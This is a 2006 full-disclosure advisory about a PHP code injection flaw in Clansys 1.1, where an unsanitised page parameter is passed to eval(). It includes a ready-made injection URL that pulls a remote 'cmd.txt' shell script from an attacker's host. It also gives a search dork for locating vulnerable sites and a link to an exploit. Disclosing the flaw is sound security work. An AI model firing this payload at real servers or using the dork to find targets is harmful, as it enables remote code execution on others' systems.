[Full-disclosure] Advisory: Clansys <= 1.1 PHP Code Insertion Vulnerability.

–Security Report–
Advisory: Clansys <= 1.1 PHP Code Insertion Vulnerability.

Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI

Date: 23/04/06 21:07 PM

Contacts:{
ICQ: 10072
MSN/Email: [email protected]
Web: http://www.nukedx.com
}

Vendor: Clansys (http://www.clansys.de.vu/&#41;
Version: 1.1 and prior versions must be affected.
About: Via this methods remote attacker can insert PHP code to Clansys.
The page parameter in index.php did not sanitized properly.
You can found vulnerable code at line 126 as an
Code->
eval("?>" . $output);
<-Code
Purely nice coding isn't it?;)
Level: Highly Critical

How&Example:
GET -> http://[victim]/[ClanSysPath]/index.php?page=[PHPCode]
EXAMPLE ->
http://[victim]/[ClanSysPath]/index.php?page=<?include($s);?>&s=http://yourhost.com/cmd.txt?
With this example remote attacker can include arbitrary PHP files…

Timeline:

• 23/04/2006: Vulnerability found.
• 23/04/2006: Contacted with vendor and waiting reply.

Exploit:
http://www.nukedx.com/?getxpl=29

Dorks: "ClanSys v1.1"

Credits: WW, str0ke , n0m3rcy and all my friends

Original advisory can be found at: http://www.nukedx.com/?viewdoc=29

PS: Corrected example

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